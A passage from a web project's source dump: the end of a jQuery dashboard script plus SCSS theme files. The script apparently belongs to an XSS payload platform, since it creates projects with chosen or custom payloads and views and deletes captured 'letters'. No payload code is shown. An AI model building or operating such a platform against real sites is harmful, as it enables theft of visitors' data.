39 | $('#diy').append('');
40 | }else{
41 | $('#diypayload').remove();
42 | }
43 | }
44 | });
45 |
46 | //弹出changepass窗口
47 | $('a[name="Userinfo"]').click(function () {
48 | $("body").append("");
49 | $("#mask").addClass("mask").fadeIn("slow");
50 | $("#Userinfo").fadeIn("slow");
51 | });
52 |
53 | //Changepass事件
54 | $('button[name="changepass"]').click(function () {
55 | var newpass = $('#changepass').val();
56 | var pass_copy = $('#passcopy').val();
57 | var oldpass = $('#oldpass').val();
58 | $("#Userinfo").fadeOut("fast");
59 | if (newpass === pass_copy && newpass !== '' && oldpass !== '') {
60 | $.ajax({
61 | type: "POST",
62 | url: "/user/changepass/",
63 | data: {newpass,oldpass},
64 | success: function(msg){
65 | var jsondic = JSON.parse(msg);
66 | if (jsondic.status !== 200){
67 | $("#Failchange").fadeIn("slow");
68 | }else{
69 | $(location).prop('href', '/user/login');
70 | }
71 | }
72 | });
73 | }else{
74 | $("#Failchange").fadeIn("slow");
75 | }
76 | });
77 |
78 | $('button[name="closechange"]').click(function () {
79 | $("#Userinfo").fadeOut("fast");
80 | $("#mask").css({ display: 'none' });
81 | });
82 |
83 |
84 | $("button[name='addbutton']").click(function(){
85 | var name = $('#name').val();
86 | var describe = $('#describe').val();
87 | var payload = $('#selectPayload').val();
88 | var send_email=$('#send_email').is(':checked');
89 | var check_par=$('#addparameter').html();
90 | if(payload==='diy'){
91 | var diy_payload = $('#payload_value').val();
92 | var send_data = {name,describe,payload,send_email,diy_payload};
93 | }else{
94 | var send_data = {name,describe,payload,send_email};
95 | }
96 | if(payload==='基础Payload'){
97 | var send_email=$('#keep_alive').is(':checked');
98 | send_data["send_email"] = send_email;
99 | }
100 | if(check_par!==''){
101 | var parameter = $('#parameter_val').val();
102 | send_data["parameter"] = parameter;
103 | }
104 | $.ajax({
105 | type: "POST",
106 | url: "/user/ajax_add_project/",
107 | data: send_data,
108 | success: function(msg){
109 | var jsondic = JSON.parse(msg);
110 | if (jsondic.status === 200){
111 | $(location).prop('href', '/user/project');
112 | }else{
113 | alert(jsondic.value);
114 | }
115 | }
116 | });
117 |
118 | });
119 |
120 | //弹出信封内容
121 | $("button[name='letterid']").on('click', function () {
122 | $("#value").empty();
123 | var letterid=$(this).val();
124 | $.ajax({
125 | type: "POST",
126 | url : "/user/ajax_letter_value/",
127 | data: {letterid},
128 | success : function(msg){
129 | var jsondic = JSON.parse(msg);
130 | if (jsondic.status === 200){
131 | $("#value").val(jsondic.value);
132 | $("body").append("");
133 | $("#mask").addClass("mask").fadeIn("slow");
134 | $("#Letterinfo").fadeIn("slow");
135 | }
136 | }});
137 | });
138 |
139 | //关闭按钮
140 | $(".close_btn").hover(function () { $(this).css({ color: 'black' }) }, function () { $(this).css({ color: '#999' }) }).on('click', function () {
141 | $("#Letterinfo").fadeOut("fast");
142 | $("#Failchange").fadeOut("fast");
143 | $("#mask").css({ display: 'none' });
144 | });
145 |
146 | //删除信封
147 | $("button[name='delletter']").click(function(){
148 | var letterid=$(this).val();
149 | $.ajax({
150 | type: "POST",
151 | url : "/user/ajax_del_letter/",
152 | data: {letterid},
153 | success : function(msg){
154 | var jsondic = JSON.parse(msg);
155 | if (jsondic.status === 200){
156 | window.location.reload();
157 | }
158 | }});
159 | });
160 |
161 | //删除项目
162 | $("button[name='delproject']").click(function(){
163 | var projectid=$(this).val();
164 | $.ajax({
165 | type: "POST",
166 | url : "/user/ajax_del_project/",
167 | data: {projectid},
168 | success : function(msg){
169 | var jsondic = JSON.parse(msg);
170 | if (jsondic.status === 200){
171 | window.location.reload();
172 | }
173 | }});
174 | });
175 |
176 |
177 | //Add active class to nav-link based on url dynamically
178 | //Active class can be hard coded directly in html file also as required
179 | var current = location.pathname.split("/").slice(-1)[0].replace(/^\/|\/$/g, '');
180 | $('.nav li a', sidebar).each(function() {
181 | var $this = $(this);
182 | if (current === "") {
183 | //for root url
184 | if ($this.attr('href').indexOf("index.html") !== -1) {
185 | $(this).parents('.nav-item').last().addClass('active');
186 | if ($(this).parents('.sub-menu').length) {
187 | $(this).closest('.collapse').addClass('show');
188 | $(this).addClass('active');
189 | }
190 | }
191 | } else {
192 | //for other url
193 | if ($this.attr('href').indexOf(current) !== -1) {
194 | $(this).parents('.nav-item').last().addClass('active');
195 | if ($(this).parents('.sub-menu').length) {
196 | $(this).closest('.collapse').addClass('show');
197 | $(this).addClass('active');
198 | }
199 | }
200 | }
201 | })
202 |
203 | //Close other submenu in sidebar on opening any
204 |
205 | sidebar.on('show.bs.collapse', '.collapse', function() {
206 | sidebar.find('.collapse.show').collapse('hide');
207 | });
208 |
209 |
210 | //Change sidebar and content-wrapper height
211 | applyStyles();
212 |
213 | function applyStyles() {
214 | //Applying perfect scrollbar
215 | if (!body.hasClass("rtl")) {
216 | if ($('.tab-content .tab-pane.scroll-wrapper').length) {
217 | const settingsPanelScroll = new PerfectScrollbar('.settings-panel .tab-content .tab-pane.scroll-wrapper');
218 | }
219 | if ($('.chats').length) {
220 | const chatsScroll = new PerfectScrollbar('.chats');
221 | }
222 | }
223 | }
224 |
225 | //checkbox and radios
226 | $(".form-check label,.form-radio label").append('');
227 |
228 | //fullscreen
229 | $("#fullscreen-button").on("click", function toggleFullScreen() {
230 | if ((document.fullScreenElement !== undefined && document.fullScreenElement === null) || (document.msFullscreenElement !== undefined && document.msFullscreenElement === null) || (document.mozFullScreen !== undefined && !document.mozFullScreen) || (document.webkitIsFullScreen !== undefined && !document.webkitIsFullScreen)) {
231 | if (document.documentElement.requestFullScreen) {
232 | document.documentElement.requestFullScreen();
233 | } else if (document.documentElement.mozRequestFullScreen) {
234 | document.documentElement.mozRequestFullScreen();
235 | } else if (document.documentElement.webkitRequestFullScreen) {
236 | document.documentElement.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT);
237 | } else if (document.documentElement.msRequestFullscreen) {
238 | document.documentElement.msRequestFullscreen();
239 | }
240 | } else {
241 | if (document.cancelFullScreen) {
242 | document.cancelFullScreen();
243 | } else if (document.mozCancelFullScreen) {
244 | document.mozCancelFullScreen();
245 | } else if (document.webkitCancelFullScreen) {
246 | document.webkitCancelFullScreen();
247 | } else if (document.msExitFullscreen) {
248 | document.msExitFullscreen();
249 | }
250 | }
251 | })
252 | });
253 | })(jQuery);
--------------------------------------------------------------------------------
/static/user/js/off-canvas.js:
--------------------------------------------------------------------------------
1 | (function($) {
2 | 'use strict';
3 | $(function() {
4 | $('[data-toggle="offcanvas"]').on("click", function() {
5 | $('.sidebar-offcanvas').toggleClass('active')
6 | });
7 | });
8 | })(jQuery);
--------------------------------------------------------------------------------
/static/user/scss/_background.scss:
--------------------------------------------------------------------------------
1 | /* Backgrounds */
2 | @each $color, $value in $theme-gradient-colors {
3 | .bg-gradient-#{$color} {
4 | background: theme-gradient-color($color);
5 | }
6 | }
7 |
8 | .sidebar-grdient-dark{
9 | background: rgba(106,0,138,1);
10 | background: -moz-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%);
11 | background: -webkit-gradient(left top, left bottom, color-stop(0%, rgba(106,0,138,1)), color-stop(20%, rgba(106,0,138,1)), color-stop(100%, rgba(250,0,83,1)));
12 | background: -webkit-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%);
13 | background: -o-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%);
14 | background: -ms-linear-gradient(top, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%);
15 | background: linear-gradient(to bottom, rgba(106,0,138,1) 0%, rgba(106,0,138,1) 20%, rgba(250,0,83,1) 100%);
16 | filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#6a008a', endColorstr='#fa0053', GradientType=0 );
17 | color: $white;
18 | }
--------------------------------------------------------------------------------
/static/user/scss/_demo.scss:
--------------------------------------------------------------------------------
1 | /* Demo Styles */
2 | // Add spacing to Boostrap components for demo purpose
3 | .template-demo {
4 | > .btn {
5 | @extend .mt-3;
6 | @extend .mr-3;
7 | }
8 |
9 | > .btn-toolbar {
10 | @extend .mt-3;
11 | @extend .mr-3;
12 | }
13 |
14 | > .btn-group,
15 | > .btn-group-vertical {
16 | @extend .mt-2;
17 | @extend .mr-2;
18 | }
19 |
20 | > h2,
21 | > h3,
22 | > h4,
23 | > h5,
24 | > h6,
25 | > h1 {
26 | border-top: 1px solid $border-color;
27 | padding: 0.5rem 0 0;
28 | }
29 |
30 | > .dropdown {
31 | display: inline-block;
32 | @extend .mr-2;
33 | margin-bottom: 0.5rem;
34 | }
35 |
36 | nav {
37 | .breadcrumb {
38 | margin-bottom: 1.375rem;
39 | }
40 |
41 | &:last-child {
42 | .breadcrumb {
43 | margin-bottom: 0;
44 | }
45 | }
46 | }
47 | }
48 |
49 | .dropdown-menu-static-demo {
50 | height: 250px;
51 | margin-bottom: 20px;
52 | }
53 |
54 | .rounded-legend {
55 | ul {
56 | li {
57 | list-style-type: none;
58 | color: $text-muted;
59 | font-size: .75rem;
60 | .legend-dots {
61 | width: 1rem;
62 | height: 1rem;
63 | border-radius: 100%;
64 | display: inline-block;
65 | vertical-align: text-bottom;
66 | margin-right: .5rem;
67 | .rtl & {
68 | margin-left: .5rem;
69 | }
70 | }
71 | }
72 | }
73 | &.legend-horizontal {
74 | @include display-flex;
75 | ul {
76 | li {
77 | display: inline-block;
78 | margin-right: 1.5rem;
79 | .rtl & {
80 | margin-right: auto;
81 | margin-left: 1.5rem;
82 | }
83 | }
84 | }
85 | }
86 | &.legend-top-right {
87 | ul {
88 | float: right;
89 | .rtl & {
90 | float: left;
91 | }
92 | }
93 | }
94 | &.legend-vertical {
95 | ul {
96 | li {
97 | margin-top: 1rem;
98 | }
99 | }
100 | }
101 | }
102 | .purchase-popup {
103 | @extend .grid-margin;
104 | background: rgba(191, 187, 187, 0.46);
105 | padding: 15px 20px;
106 | @include border-radius(3px);
107 |
108 | .btn {
109 | margin-right: 20px;
110 | font-weight: 500;
111 | color: $white;
112 | @include border-radius(5px);
113 | @include transition-duration(0.2s);
114 |
115 | &.download-button {
116 | background: rgba(249, 249, 249, 0.7);
117 | color: #969292;
118 | border: 1px solid darken(#e4e4e4,10%);
119 | }
120 |
121 | &.purchase-button {
122 | background-color: rgba(172, 50 ,228, 0.9);
123 | @include background-image(theme-gradient-color(primary));
124 | color: $white;
125 | border: none;
126 | line-height: 1;
127 | vertical-align: middle;
128 | }
129 | }
130 |
131 | p {
132 | margin-bottom: auto;
133 | margin-top: auto;
134 | color: darken(#e4e4e4,40%);
135 | font-weight: 400;
136 | vertical-align: middle;
137 | line-height: 1;
138 | }
139 |
140 | i {
141 | vertical-align: middle;
142 | line-height: 1;
143 | margin: auto 0;
144 | color: darken(#e4e4e4,20%);
145 | }
146 | }
--------------------------------------------------------------------------------
/static/user/scss/_fonts.scss:
--------------------------------------------------------------------------------
1 | /* Fonts */
2 |
3 | //PT_Sans
4 | @font-face {
5 | font-family: 'ubuntu-light';
6 | src: url('../fonts/Ubuntu/Ubuntu-Light.eot'); /* IE9 Compat Modes */
7 | src: url('../fonts/Ubuntu/Ubuntu-Light.woff2') format('woff2'), /* Super Modern Browsers */
8 | url('../fonts/Ubuntu/Ubuntu-Light.woff') format('woff'), /* Pretty Modern Browsers */
9 | url('../fonts/Ubuntu/Ubuntu-Light.ttf') format('truetype'), /* Safari, Android, iOS */
10 | }
11 | @font-face {
12 | font-family: 'ubuntu-regular';
13 | src: url('../fonts/Ubuntu/Ubuntu-Regular.eot'); /* IE9 Compat Modes */
14 | src: url('../fonts/Ubuntu/Ubuntu-Regular.woff2') format('woff2'), /* Super Modern Browsers */
15 | url('../fonts/Ubuntu/Ubuntu-Regular.woff') format('woff'), /* Pretty Modern Browsers */
16 | url('../fonts/Ubuntu/Ubuntu-Regular.ttf') format('truetype'), /* Safari, Android, iOS */
17 | }
18 | @font-face {
19 | font-family: 'ubuntu-medium';
20 | src: url('../fonts/Ubuntu/Ubuntu-Medium.eot'); /* IE9 Compat Modes */
21 | src: url('../fonts/Ubuntu/Ubuntu-Medium.woff2') format('woff2'), /* Super Modern Browsers */
22 | url('../fonts/Ubuntu/Ubuntu-Medium.woff') format('woff'), /* Pretty Modern Browsers */
23 | url('../fonts/Ubuntu/Ubuntu-Medium.ttf') format('truetype'), /* Safari, Android, iOS */
24 | }
25 | @font-face {
26 | font-family: 'ubuntu-bold';
27 | src: url('../fonts/Ubuntu/Ubuntu-Bold.eot'); /* IE9 Compat Modes */
28 | src: url('../fonts/Ubuntu/Ubuntu-Bold.woff2') format('woff2'), /* Super Modern Browsers */
29 | url('../fonts/Ubuntu/Ubuntu-Bold.woff') format('woff'), /* Pretty Modern Browsers */
30 | url('../fonts/Ubuntu/Ubuntu-Bold.ttf') format('truetype'), /* Safari, Android, iOS */
31 | }
32 |
--------------------------------------------------------------------------------
/static/user/scss/_footer.scss:
--------------------------------------------------------------------------------
1 | /* Footer */
2 |
3 | .footer {
4 | background: $footer-bg;
5 | color: $footer-color;
6 | padding: 30px 1rem;
7 | transition: all $action-transition-duration $action-transition-timing-function;
8 | -moz-transition: all $action-transition-duration $action-transition-timing-function;
9 | -webkit-transition: all $action-transition-duration $action-transition-timing-function;
10 | -ms-transition: all $action-transition-duration $action-transition-timing-function;
11 | font-size: calc(#{$default-font-size} - 0.05rem);
12 | font-family: $type1-regular;
13 | border-top: 1px solid darken($footer-bg, 10%);
14 | a {
15 | color: theme-color(success);
16 | font-size: inherit;
17 | }
18 | @media (max-width: 991px) {
19 | margin-left: 0;
20 | width: 100%;
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/static/user/scss/_functions.scss:
--------------------------------------------------------------------------------
1 | // Functions
2 |
3 | @function social-color($key: "twitter") {
4 | @return map-get($social-colors, $key);
5 | }
6 |
7 | @function theme-gradient-color($key: "primary") {
8 | @return map-get($theme-gradient-colors, $key);
9 | }
--------------------------------------------------------------------------------
/static/user/scss/_misc.scss:
--------------------------------------------------------------------------------
1 | /* Miscellanoeous */
2 | body,
3 | html {
4 | overflow-x: hidden;
5 | padding-right: 0 !important; // resets padding right added by Bootstrap modal
6 | }
7 |
8 | *:-moz-full-screen,
9 | *:-webkit-full-screen,
10 | *:fullscreen *:-ms-fullscreen {
11 | overflow: auto;
12 | }
13 |
14 | .page-body-wrapper {
15 | min-height: calc(100vh - #{$navbar-height});
16 | @include display-flex();
17 | @include flex-direction(row);
18 | padding-left: 0;
19 | padding-right: 0;
20 | padding-top: $navbar-height;
21 |
22 | &.full-page-wrapper {
23 | width: 100%;
24 | min-height: 100vh;
25 | padding-top: 0;
26 | }
27 | }
28 |
29 | .main-panel {
30 | transition: width $action-transition-duration $action-transition-timing-function, margin $action-transition-duration $action-transition-timing-function;
31 | width: calc(100% - #{$sidebar-width-lg});
32 | min-height: calc(100vh - #{$navbar-height});
33 | @include display-flex();
34 | @include flex-direction(column);
35 | @media (max-width: 991px) {
36 | margin-left: 0;
37 | width: 100%;
38 | }
39 | }
40 |
41 | .content-wrapper {
42 | background: $content-bg;
43 | padding: 2.75rem 2.25rem;
44 | width: 100%;
45 | @include flex-grow(1);
46 | }
47 |
48 | .container-scroller {
49 | overflow: hidden;
50 | }
51 |
52 | pre {
53 | background: color(gray-lighter);
54 | padding: 15px;
55 | font-size: 14px;
56 | }
57 |
58 | code {
59 | padding: 5px;
60 | color: theme-color(danger);
61 | font-family: $type1-light;
62 | font-size: $default-font-size;
63 | border-radius: 4px;
64 | }
65 |
66 | .page-header {
67 | @extend .d-flex;
68 | @extend .justify-content-between;
69 | @extend .align-items-center;
70 | margin: 0 0 1.5rem 0;
71 | .breadcrumb {
72 | border: 0;
73 | margin-bottom: 0;
74 | }
75 | }
76 | .page-title {
77 | color: $black;
78 | font-size: 1.125rem;
79 | margin-bottom: 0;
80 | .page-title-icon {
81 | display: inline-block;
82 | width: 36px;
83 | height: 36px;
84 | border-radius: 4px;
85 | text-align: center;
86 | box-shadow: 0px 3px 8.3px 0.7px rgba(163, 93, 255, 0.35);
87 | i {
88 | font-size: .9375rem;
89 | line-height: 36px;
90 | }
91 | }
92 | }
--------------------------------------------------------------------------------
/static/user/scss/_reset.scss:
--------------------------------------------------------------------------------
1 | /* Reset Styles */
2 |
3 | body {
4 | padding: 0;
5 | margin: 0;
6 | overflow-x: hidden;
7 | }
8 |
9 | .form-control,
10 | .form-control:focus {
11 | -webkit-box-shadow: none;
12 | -moz-box-shadow: none
13 | }
14 |
15 | .form-control {
16 | box-shadow: none
17 | }
18 |
19 | .form-control:focus {
20 | outline: 0;
21 | box-shadow: none
22 | }
23 |
24 | a,
25 | div,
26 | h1,
27 | h2,
28 | h3,
29 | h4,
30 | h5,
31 | p,
32 | span {
33 | text-shadow: none
34 | }
35 |
36 | [type=button]:focus,
37 | a:active,
38 | a:focus,
39 | a:visited,
40 | button::-moz-focus-inner,
41 | input[type=reset]::-moz-focus-inner,
42 | input[type=button]::-moz-focus-inner,
43 | input[type=submit]::-moz-focus-inner,
44 | input[type=file]>input[type=button]::-moz-focus-inner,
45 | select::-moz-focus-inner {
46 | outline: 0
47 | }
48 |
49 | input,
50 | .form-control:focus,
51 | input:focus,
52 | select:focus,
53 | textarea:focus,
54 | button:focus {
55 | outline: none;
56 | outline-width: 0;
57 | outline-color: transparent;
58 | box-shadow: none;
59 | outline-style: none;
60 | }
61 |
62 | textarea {
63 | resize: none;
64 | overflow-x: hidden;
65 | }
66 |
67 | .btn,
68 | .btn-group.open .dropdown-toggle,
69 | .btn:active,
70 | .btn:focus,
71 | .btn:hover,
72 | .btn:visited,
73 | a,
74 | a:active,
75 | a:checked,
76 | a:focus,
77 | a:hover,
78 | a:visited,
79 | body,
80 | button,
81 | button:active,
82 | button:hover,
83 | button:visited,
84 | div,
85 | input,
86 | input:active,
87 | input:focus,
88 | input:hover,
89 | input:visited,
90 | select,
91 | select:active,
92 | select:focus,
93 | select:visited,
94 | textarea,
95 | textarea:active,
96 | textarea:focus,
97 | textarea:hover,
98 | textarea:visited {
99 | -webkit-box-shadow: none;
100 | -moz-box-shadow: none;
101 | box-shadow: none
102 | }
103 |
104 | .btn.active.focus,
105 | .btn.active:focus,
106 | .btn.focus,
107 | .btn:active.focus,
108 | .btn:active:focus,
109 | .btn:focus,
110 | button,
111 | button:active,
112 | button:checked,
113 | button:focus,
114 | button:hover,
115 | button:visited {
116 | outline: 0;
117 | outline-offset: 0
118 | }
119 |
120 | .bootstrap-select .dropdown-toggle:focus {
121 | outline: 0 ;
122 | outline-offset: 0;
123 | }
124 |
125 | .dropdown-menu>li>a:active,
126 | .dropdown-menu>li>a:focus,
127 | .dropdown-menu>li>a:hover,
128 | .dropdown-menu>li>a:visited {
129 | outline: 0;
130 | }
131 |
132 | a:focus,
133 | input:focus {
134 | border-color: transparent;
135 | outline: none
136 | }
137 |
--------------------------------------------------------------------------------
/static/user/scss/_sidebar.scss:
--------------------------------------------------------------------------------
1 | /* Sidebar */
2 |
3 | .sidebar {
4 | min-height: calc(100vh - #{$navbar-height});
5 | background: $sidebar-light-bg;
6 | font-family: $type1-regular;
7 | padding: 0;
8 | width: $sidebar-width-lg;
9 | z-index: 11;
10 | transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function;
11 | -webkit-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function;
12 | -moz-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function;
13 | -ms-transition: width $action-transition-duration $action-transition-timing-function, background $action-transition-duration $action-transition-timing-function;
14 |
15 | .nav {
16 | overflow: hidden;
17 | flex-wrap: nowrap;
18 | flex-direction: column;
19 | margin-bottom: 60px;
20 |
21 | .nav-item {
22 | padding:0 $sidebar-menu-padding-x;
23 | @include transition-duration(0.25s);
24 | transition-property: background;
25 | -webkit-transition-property: background;
26 | .collapse {
27 | z-index: 999;
28 | }
29 |
30 | .nav-link {
31 | @include display-flex;
32 | @include align-items(center);
33 | white-space: nowrap;
34 | padding:$sidebar-menu-padding-y 0 $sidebar-menu-padding-y 0;
35 | color: $sidebar-light-menu-color;
36 | @include transition-duration(0.45s);
37 | transition-property: color;
38 | -webkit-transition-property: color;
39 |
40 | i {
41 | color: inherit;
42 |
43 | &.menu-icon {
44 | font-size: $sidebar-icon-font-size;
45 | line-height: 1;
46 | margin-left: auto;
47 | color: $sidebar-light-menu-icon-color;
48 | &:before {
49 | vertical-align: middle;
50 | }
51 | }
52 |
53 | &.menu-arrow {
54 | font: normal normal normal 24px/1 "Material Design Icons";
55 | line-height: 1;
56 | font-size: $sidebar-icon-font-size;
57 | margin-left: auto;
58 | color: $sidebar-light-menu-arrow-color;
59 | &:before{
60 | content: "\f141";
61 | font-size: inherit;
62 | color: inherit;
63 | }
64 | + .menu-icon {
65 | margin-left: .25rem;
66 | }
67 | }
68 | }
69 |
70 | .menu-title {
71 | color: inherit;
72 | display: inline-block;
73 | font-size: $sidebar-menu-font-size;
74 | line-height: 1;
75 | vertical-align: middle;
76 | }
77 |
78 | .badge {
79 | margin-right: auto;
80 | margin-left: 1rem;
81 | }
82 |
83 | &[aria-expanded="true"]{
84 | .menu-arrow{
85 | &:before{
86 | content: "\f140";
87 | }
88 | }
89 | }
90 | }
91 |
92 | &.active {
93 | background: $sidebar-light-menu-active-bg;
94 | > .nav-link {
95 | .menu-title {
96 | color: $sidebar-light-menu-active-color;
97 | font-family: $type1-medium;
98 | }
99 | i {
100 | color: theme-color(primary);
101 | }
102 | }
103 | }
104 | &:hover{
105 | background: $sidebar-light-menu-hover-bg;
106 | }
107 | &.nav-profile {
108 | .nav-link {
109 | height: auto;
110 | line-height: 1;
111 | border-top: 0;
112 | padding: 1.25rem 0;
113 | .nav-profile-image {
114 | width: 44px;
115 | height: 44px;
116 | img {
117 | width: 44px;
118 | height: 44px;
119 | border-radius: 100%;
120 | }
121 | }
122 | .nav-profile-text {
123 | margin-left: 1rem;
124 | }
125 | .nav-profile-badge {
126 | font-size: 1.125rem;
127 | margin-left: auto;
128 | }
129 | }
130 | }
131 | &.sidebar-actions {
132 | margin-top: 1rem;
133 | .nav-link {
134 | border-top: 0;
135 | display: block;
136 | height: auto;
137 | }
138 | &:hover {
139 | background: initial;
140 | .nav-link {
141 | color: initial;
142 | }
143 | }
144 | }
145 | }
146 |
147 | &:not(.sub-menu) {
148 | > .nav-item {
149 | &:hover {
150 | &:not(.nav-category):not(.nav-profile) {
151 | > .nav-link {
152 | color: $sidebar-light-menu-hover-color;
153 | }
154 | }
155 | }
156 | }
157 | }
158 | &.sub-menu {
159 | margin-bottom: 20px;
160 | margin-top:0;
161 | list-style: none;
162 |
163 | .nav-item {
164 | padding: 0;
165 | .nav-link {
166 | color: $sidebar-light-submenu-color;
167 | padding: $sidebar-submenu-item-padding;
168 | position: relative;
169 | font-size: $sidebar-submenu-font-size;
170 | line-height: 1;
171 | height: auto;
172 | border-top: 0;
173 | &:before {
174 | content: "\F054";
175 | font-family: "Material Design Icons";
176 | display: block;
177 | position: absolute;
178 | left:0px;
179 | top:50%;
180 | @include transform(translateY(-50%));
181 | color: lighten($sidebar-light-submenu-color, 10%);
182 | font-size: .75rem;
183 | }
184 | &.active {
185 | color: $sidebar-light-menu-active-color;
186 | background: transparent;
187 | }
188 | &:hover {
189 | color: $sidebar-light-submenu-hover-color;
190 | }
191 | }
192 | &:hover {
193 | background: transparent;
194 | }
195 | }
196 | }
197 | }
198 | }
199 |
200 | /* style for off-canvas menu*/
201 | @media screen and (max-width: 991px) {
202 | .sidebar-offcanvas {
203 | position: fixed;
204 | max-height: calc(100vh - #{$navbar-height});
205 | top: $navbar-height;
206 | bottom: 0;
207 | overflow: auto;
208 | right: -$sidebar-width-lg;
209 | -webkit-transition: all 0.25s ease-out;
210 | -o-transition: all 0.25s ease-out;
211 | transition: all 0.25s ease-out;
212 | &.active {
213 | right: 0;
214 | }
215 | }
216 | }
--------------------------------------------------------------------------------
/static/user/scss/_typography.scss:
--------------------------------------------------------------------------------
1 | /* Typography */
2 |
3 | body {
4 | font-size: 1rem;
5 | font-family: $type1-regular;
6 | font-weight: initial;
7 | line-height: normal;
8 | -webkit-font-smoothing: antialiased;
9 | }
10 | h1,
11 | h2,
12 | h3,
13 | h4,
14 | h5,
15 | h6,
16 | .h1,
17 | .h2,
18 | .h3,
19 | .h4,
20 | .h5,
21 | .h6 {
22 | font-family: $type1-medium;
23 | }
24 | p {
25 | font-size: $default-font-size;
26 | }
27 | h1,
28 | .h1 {
29 | font-size: 2.19rem;
30 | }
31 | h2,
32 | .h2 {
33 | font-size: 1.88rem;
34 | }
35 | h3,
36 | .h3 {
37 | font-size: 1.56rem;
38 | }
39 | h4,
40 | .h4 {
41 | font-size: 1.13rem;
42 | }
43 | h5,
44 | .h5 {
45 | font-size: 1rem;
46 | }
47 | h6,
48 | .h6 {
49 | font-size: .9375rem;
50 | }
51 | p {
52 | font-size: .9375rem;
53 | line-height: 1.5;
54 | }
55 | .display-1 {
56 | font-size: 3.75rem;
57 | @media (max-width: 991px) {
58 | font-size: 3rem;
59 | }
60 | }
61 | .display-2 {
62 | font-size: 3.125rem;
63 | @media (max-width: 991px) {
64 | font-size: 2.5rem;
65 | }
66 | }
67 | .display-3 {
68 | font-size: 2.5rem;
69 | @media (max-width: 991px) {
70 | font-size: 2rem;
71 | }
72 | }
73 | .display-4 {
74 | font-size: 1.875rem;
75 | @media (max-width: 991px) {
76 | font-size: 1.5rem;
77 | }
78 | }
79 | .display-5 {
80 | font-size: 1.25rem;
81 | @media (max-width: 991px) {
82 | font-size: 1rem;
83 | }
84 | }
85 | .blockquote {
86 | padding: 1.25rem;
87 | border: 1px solid $border-color;
88 | }
89 |
90 | address {
91 | p {
92 | margin-bottom: 0;
93 | }
94 | }
95 |
96 | //blockqoute color variations
97 | @each $color, $value in $theme-colors {
98 | .blockquote-#{$color} {
99 | @include blockquote($value);
100 | }
101 | }
102 | .error-page {
103 | h1 {
104 | font-size: 12rem;
105 | @media (max-width: 991px) {
106 | font-size: 8rem;
107 | }
108 | }
109 | }
110 | .icon-lg {
111 | font-size: 3.438rem;
112 | }
113 | .icon-md {
114 | font-size: 1.875rem;
115 | }
116 | .icon-sm {
117 | font-size: 1rem;
118 | }
119 |
--------------------------------------------------------------------------------
/static/user/scss/_utilities.scss:
--------------------------------------------------------------------------------
1 | /* Utilities */
2 |
3 | .grid-margin {
4 | margin-bottom: $card-spacing-y;
5 | }
6 | .grid-margin-sm-0 {
7 | @media (min-width: 576px) {
8 | margin-bottom: 0;
9 | }
10 | }
11 | .grid-margin-md-0 {
12 | @media (min-width: 768px) {
13 | margin-bottom: 0;
14 | }
15 | }
16 | .grid-margin-lg-0 {
17 | @media (min-width: 992px) {
18 | margin-bottom: 0;
19 | }
20 | }
21 | .grid-margin-xl-0 {
22 | @media (min-width: 1200px) {
23 | margin-bottom: 0;
24 | }
25 | }
26 | .img-lg {
27 | width: 92px;
28 | height: 92px;
29 | }
30 | .img-sm {
31 | width: 43px;
32 | height: 43px;
33 | }
34 | .img-xs {
35 | width: 37px;
36 | height: 37px;
37 | }
38 | .img-ss {
39 | width: 26px;
40 | height: 26px;
41 | }
42 | .stretch-card {
43 | @include display-flex;
44 | @include align-items(stretch);
45 | @include justify-content(stretch);
46 | >.card{
47 | width: 100%;
48 | min-width: 100%;
49 | }
50 | }
51 |
52 | .border-right-sm {
53 | @media (min-width: 576px) {
54 | border-right: $border-width solid $border-color;
55 | }
56 | }
57 | .border-right-md {
58 | @media (min-width: 768px) {
59 | border-right: $border-width solid $border-color;
60 | }
61 | }
62 | .border-right-lg {
63 | @media (min-width: 992px) {
64 | border-right: $border-width solid $border-color;
65 | }
66 | }
67 |
68 | .border-left-sm {
69 | @media (min-width: 576px) {
70 | border-left: $border-width solid $border-color;
71 | }
72 | }
73 | .border-left-md {
74 | @media (min-width: 768px) {
75 | border-left: $border-width solid $border-color;
76 | }
77 | }
78 | .border-left-lg {
79 | @media (min-width: 992px) {
80 | border-left: $border-width solid $border-color;
81 | }
82 | }
83 |
84 | .text-gray {
85 | color: #8c8c8c;
86 | }
87 |
88 | .text-black {
89 | color: $black;
90 | }
91 |
92 | .text-small {
93 | font-size: 12px;
94 | }
95 |
96 | .flex-grow {
97 | flex-grow: 1;
98 | }
99 |
100 | .font-weight-light {
101 | font-family: $type1-light;
102 | }
103 |
104 | .font-weight-bold {
105 | font-family: $type1-bold;
106 | }
107 |
108 | .font-weight-normal {
109 | font-family: $type1-regular;
110 | }
111 |
--------------------------------------------------------------------------------
/static/user/scss/_variables.scss:
--------------------------------------------------------------------------------
1 |
2 | ////////// COLOR SYSTEM //////////
3 |
4 | $blue: #5E50F9;
5 | $indigo: #6610f2;
6 | $purple: #6a008a;
7 | $pink: #E91E63;
8 | $red: #f96868;
9 | $orange: #f2a654;
10 | $yellow: #f6e84e;
11 | $green: #46c35f;
12 | $teal: #58d8a3;
13 | $cyan: #57c7d4;
14 | $black: #000;
15 | $white: #ffffff;
16 | $white-smoke: #f2f7f8;
17 | $violet: #41478a;
18 | $darkslategray : #2e383e;
19 | $dodger-blue : #3498db;
20 |
21 |
22 | $colors: (
23 | blue: $blue,
24 | indigo: $indigo,
25 | purple: $purple,
26 | pink: $pink,
27 | red: $red,
28 | orange: $orange,
29 | yellow: $yellow,
30 | green: $green,
31 | teal: $teal,
32 | cyan: $cyan,
33 | white: $white,
34 | gray: #434a54,
35 | gray-light: #aab2bd,
36 | gray-lighter: #e8eff4,
37 | gray-lightest: #e6e9ed,
38 | gray-dark: #0f1531,
39 | black: #000000
40 | );
41 |
42 |
